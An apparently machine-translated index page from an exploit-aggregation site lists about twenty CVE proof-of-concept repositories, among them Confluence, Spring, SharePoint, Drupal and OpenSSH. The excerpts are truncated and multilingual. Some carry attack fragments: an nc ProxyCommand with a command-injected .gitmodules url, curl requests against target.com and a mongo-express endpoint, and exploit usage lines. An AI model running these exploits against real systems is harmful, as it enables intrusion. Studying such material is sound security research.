CVE-2019-3396

CVE-2019-3396 Vulnérabilité RCE non authentifiée dans Confluence CVE-2019-3396 Piège : certaines versions nécessitent d'ajouter un en-tête Referer pour réussir Lecture de fichier root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: 10.10.20.181 User-Agent: Mozilla/5.0 Windows NT 10.0;...

CVE-2024-40711

CVE-2024-40711 Exploit pour Veeam Backup and Replication Pre-Auth Deserialization CVE-2024-40711 Voir notre article de blog pour les détails techniques https://github.com/user-attachments/assets/24e8122c-3e84-408b-87a9-684a9aabeb70 PoC en action root@kitploit: CVE-2024-40711.exe -f binaryformatte...

CVE-2022-22965-PoC

CVE-2022-22965 إثبات المفهوم مثال بسيط لكيفية إعادة إنتاج ثغرة CVE-2022-22965 Spring RCE. التشغيل باستخدام docker compose 1. ابنِ التطبيق باستخدام Docker compose root@kitploit: docker-compose up --build 2. لاختبار التطبيق، تصفح إلى http://localhost:8080/handling-form-submission-complete/greeting ...

CVE-2022-22947

CVE-2022-22947 Introduzione a CVE-2022-22947 La vulnerabilità di esecuzione remota di codice in Spring Cloud Gateway CVE-2022-22947 si verifica nell'endpoint Actuator delle applicazioni Spring Cloud Gateway, che, quando è abilitato, esposto pubblicamente e non protetto, è vulnerabile ad attacchi ...

CVE-2023-51385_test

التحقق من CVE-2023-51385 أولاً، تحتاج إلى إضافة المحتوى التالي إلى /.ssh/config root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p يوجد حقن أوامر في عبارة ملف .gitmodules root@kitploit: url = ssh://echo helloworld cve.txtfoo.example.com/bar بعد اكتمال...

CVE-2019-16278

Exploit per CVE-2019-16278 e CVE-2019-16279 Nostromo httpd è soggetto a 2 vulnerabilità critiche per versioni &1 Questo bug è dovuto a una correzione incompleta per CVE-2011-0751. Possiamo aggirare un controllo per che ci permette di eseguire con argomenti arbitrari...

spring-RCE-CVE-2022-22965

مقدمة الثغرة في الآونة الأخيرة، كشفت Spring عن ثغرة CVE من العيار الثقيل. تُظهر معلومات CVE ما يلي: "قد يكون تطبيق Spring MVC أو Spring WebFlux الذي يعمل على JDK 9+ عرضةً لتنفيذ التعليمات البرمجية عن بُعد RCE عبر ربط البيانات. يتطلب الاستغلال المحدد تشغيل التطبيق على Tomcat كنشر WAR. إذا تم نشر...

cve-2019-1663

🚀 Explotación de CVE-2019-1663 🧩 Introducción Este repositorio documenta la explotación de CVE-2019-1663, una vulnerabilidad crítica de ejecución remota de código RCE que afecta a los routers VPN Wireless-N Cisco RV110W, RV130W y RV215W. Debido a una validación de entrada insuficiente en la...

CVE-2022-1329-WordPress-Elementor-RCE

CVE-2022-1329-WordPress-Elementor-RCE Questa poc è basata su quella di AkuCyberSec. Versione cinese Utilizzo Usa docker-compose per avviare l'ambiente vulnerabile: root@kitploit: docker-compose up -d Quindi puoi accedere alla pagina Admin di WordPress tramite l'URL http://localhost:8000. Registra...

CVE-2024-9264

CVE-2024-9264 - Grafana SQL Expressions DuckDB LFI/RCE PoC Python Proof of Concept für CVE-2024-9264, eine Grafana SQL Expressions Schwachstelle, die authentifizierten lokalen Dateizugriff und Befehlsausführung ermöglichen kann, wenn duckdb im PATH des Grafana-Prozesses verfügbar ist. Nur für...

Point-to-Point-Protocol-Daemon-RCE-Vulnerability-CVE-2020-8597-

Point-to-Point-Protocol-Daemon-RCE-Vulnerability-CVE-2020-8597- Sri Lanka Institute of Information Technology root@kitploit: Compito 1 M. P. D. M. Dias IT19165530 MLBWDY2S113.1 Point to Point Protocol Daemon RCE Vulnerabilità CVE-2020-8597 Programmazione di Sistemi e Reti – IE2012 Contenuto 1...

CVE-2025-53770-Exploit

CVE-2025-53770-Exploit Zuerst holen Sie die Werte VIEWSTATEGENERATOR, VALIDATIONKEY, VALIDATIONALG von der Ziel-SharePoint-Seite: root@kitploit: curl -s https://target.com/layouts/15/start.aspx | grep -oP 'VIEWSTATEGENERATOR" value="\K^"+' curl https://target.com/layouts/15/spinstall0.aspx...

cve-2024-6387-poc

cve-2024-6387-poc una condizione di gara race condition nel gestore dei segnali del server OpenSSH sshd 7etsuo Descrizione Un exploit per CVE-2024-6387, che colpisce una condizione di gara nel gestore dei segnali del server OpenSSH sshd sui sistemi Linux basati su glibc. La vulnerabilità consente...

CVE-2019-10758

CVE-2019-10758 PoC Configurazione root@kitploit: docker run -p 27017:27017 -d mongo npm install [email protected] cd nodemodules/mongo-express/ && node app.js Exploit cURL root@kitploit: curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data...

CVE-2024-51378

CVE-2024-51378 — Zusammenfassung, Maßnahmen und Dokumentation Sicheres Repository ⚠️ Ethik- und Rechtshinweis Sämtliches Material in diesem Repository dient ausschließlich zu Bildungszwecken, zur legitimen Sicherheitsforschung und zum Testen in Umgebungen, die Ihnen gehören oder für die Sie eine...

CVE-2020-14756

CVE-2020-14756 WebLogic T3/IIOP RCE ExternalizableHelper.class di coherence.jar README progetto basato su https://github.com/Y4er/CVE-2020-2555 e weblogiccmd testato su 12.2.1.4.0 e jdk 1.8.0221 Riferimenti 1. https://y4er.com/post/weblogic-cve-2020-14756/ 2...

CVE-2022-22947_Rce_Exp

CVE-2022-22947RceExp Spring Cloud Gateway Ausnutzung der Remote-Codeausführung Schwachstelle Exp SpringCloudGatewayRCEExp-CVE-2022-22947...

CyberPanel-RCE

CyberPanel-RCE Exploit per CyberPanel RCE trovato su v2.3.6 Maggiori informazioni disponibili sul mio blog: https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce...

drupalgeddon2-CVE-2018-7600

Drupal - Drupalgeddon2 CVE 2018-7600 root@kitploit: $ python3 drupalgeddon.py -h + drupalgeddon2 CVE-2018-7600 exploit by Rafael Caria usage: drupalgeddon.py -h --url URL --command COMMAND --function FUNCTION --test --proxy PROXY ! This script exploits CVE-2018-7600 a Drupal property injection in...

LibSSH-exploit

LibSSH-эксплойт CVE-2018-10933 Уязвимые ssh-серверы - libssh до версии 0.8.4 Отправляет сообщение об авторизации пользователя, что позволяет выполнить удаленный код RCE Использование: ''' Libsshexploit.py '''...